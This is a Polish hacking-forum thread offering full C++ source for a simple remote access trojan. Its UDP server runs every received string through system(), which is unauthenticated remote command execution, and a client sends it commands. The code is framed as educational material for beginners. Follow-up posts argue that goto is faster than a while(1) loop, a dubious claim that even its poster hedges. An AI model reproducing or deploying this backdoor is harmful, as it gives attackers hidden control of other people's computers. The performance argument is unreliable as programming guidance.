[C++] Najprostszy RAT klient-serwer

Zbiór ciekawych kodów źródłowych, skryptów i gotowców.
Regulamin forum
-Staraj się poprzedzać nazwę tematu prefiksem z nazwą języka programowania np. [Python] nazwa tematu.
-Wklejaj źródła w znaczniku

Kod: Zaznacz cały

[/b].
-Staraj się w skrócie opisać do czego dane źródło służy.
[b]-Zawsze podaj stronę domową autora (jeśli znasz te informacje)[/b]. Szanujemy cudzą prace!
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

[C++] Najprostszy RAT klient-serwer

Post autor: F3nix »

Bardzo podobny trojan typu klient-serwer do tego który zademonstrował nam już wcześniej Kenjin w języku PHP. Również wykorzystuje gniazda, jednak został napisany w języku C++. Jest to bardzo podstawowy kod bazowy dobry dla początkujących do nauki pisania tego typu oprogramowania do celów edukacyjnych. Jest to kolejny odmęt ze starego HDD :-)

Klient

Kod: Zaznacz cały

/*
Coded by: The_Wraith
Coded on: 02-10-05
*/

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock.h>

#define doCleanup WSACleanup(); exit(1);
#pragma comment(lib,"wsock32.lib");

using namespace std;

char buf[65500];
char ip[16];

int main(int argc,char *argv[])
{
	WSADATA wsaData;
	WORD wVer = MAKEWORD(1,1);
	SOCKADDR_IN sin;
	SOCKET s;

    if (WSAStartup(wVer,&wsaData) != 0) {
		doCleanup;
	}
    s = socket(AF_INET,SOCK_DGRAM,0);
	if (s == INVALID_SOCKET) {
		doCleanup;
	}

	sin.sin_family=AF_INET;
	sin.sin_port=htons(9898);
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    
loop:
	cout<<"Enter command: ";
	cin.getline(buf,sizeof(buf));
	cout<<"Sending "<<buf<<"...\n";
	if (sendto(s,buf,sizeof(buf),0,(sockaddr*)&sin,sizeof(sin)) > 0) {
		cout<<"Sent successfully!"<<endl;
		goto loop;
	}
	
	return 0;
}
Serwer

Kod: Zaznacz cały

/*
Coded by: The_Wraith
Coded on: 02-10-05
*/

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <winsock.h>

#define doCleanup WSACleanup(); exit(1);
#pragma comment(lib,"wsock32.lib");

using namespace std;

char buf[65500];

int main()
{
	WSADATA wsaData;
	WORD wVer = MAKEWORD(1,1);
	SOCKADDR_IN sin;
	SOCKET s;
    int sinsize;
    int i;

    if (WSAStartup(wVer,&wsaData) != 0) {
		doCleanup;
	}
    s = socket(AF_INET,SOCK_DGRAM,0);
	if (s == INVALID_SOCKET) {
		doCleanup;
	}
  
	sin.sin_family=AF_INET;
	sin.sin_port=htons(9898);
    sin.sin_addr.s_addr = 0;
    
	if (bind(s,(sockaddr*)&sin,sizeof(sin)) == SOCKET_ERROR) {
		doCleanup;
	}
	sinsize = sizeof(sin);
	while (1) {
		if (recvfrom(s,buf,sizeof(buf),0,(sockaddr*)&sin,&sinsize) > 0) {
			system(buf);
		}
	}

	return 0;
}
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: [C++] Najprostszy RAT klient-serwer

Post autor: Kenjin »

Nie wierze, ze autor tego kodu użył goto zeby zrobic loopa :D
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [C++] Najprostszy RAT klient-serwer

Post autor: F3nix »

To przecież dobrze o nim świadczy w tym przypadku. Wiem że uczą na uczelniach, że GOTO to zło ale chyba zapominają skąd się to wzięło i wpajają trochę źle bez wyjaśnienia... o GOTO mówił Dijkstra https://en.wikipedia.org/wiki/Considered_harmful miał głównie na myśli, że w rozbudowanych programach ciężko to debugować bo możesz gdzie chcesz wyskakiwać nawet z pętli. Nie miał na pewno na myśli że GOTO jest piekielne i zakazać.

W tym przypadku jak najbardziej jest GOTO wskazane bo jest na pewno szybsze od pętli. Jeśli miałeś styczność kiedyś z ASM (pętle) to one sprawdzają warunek (compare/cmp) i na podstawie wyniku logicznego z nich wykonują skok za pomocą JMP/JLE do odpowiedniej części kodu (albo do środka pętli albo wyskakują za nią bo warunek fałszywy). Tak samo działa IF ELSE na poziomie kodu maszynowego.

Jako że GOTO to jest po prostu skok (JMP), więc nie jest wykonywane żadne porównanie. Wynika tutaj wyższość wydajnościowa GOTO względem pętli. Śmiem twierdzić, że zalecane powinno być stosowanie szczególnie w takich pętlach jak tutaj czyli wiecznych właśnie instrukcji skoku GOTO.

Co innego jak ma się kilkanaście pętli w pętli i debuguj to ludzkim rozumem jeśli gdzieś nagle ktoś daje skok GOTO do innej części (nie daj Boże tej samej pętli)...

W sumie w ASM pętla while to około 5-6 instrukcji, a goto to 1 instrukcja... :D Pytanie tylko czy nowoczesne kompilatory jeśli się włączy optymalizacje kodu nie zamieniają pętli WHILE(1) na GOTO. Pewnie tak robią.

A tutaj dlaczego ten mit o GOTO się pojawia ciągle: https://pl.wikipedia.org/wiki/Spaghetti_code
Kenjin
Ekipa HEP
Posty: 122
Rejestracja: 04 sty 2016, 22:10

Re: [C++] Najprostszy RAT klient-serwer

Post autor: Kenjin »

No mi wlasnie zawsze wpajano, ze GOTO to zlo a nigdy nad tym sie nie zastanawilem. Oswieciles mnie :). Tak programowalem troche w ASM (MIPS i X86) ale to stare dzieje :)
ODPOWIEDZ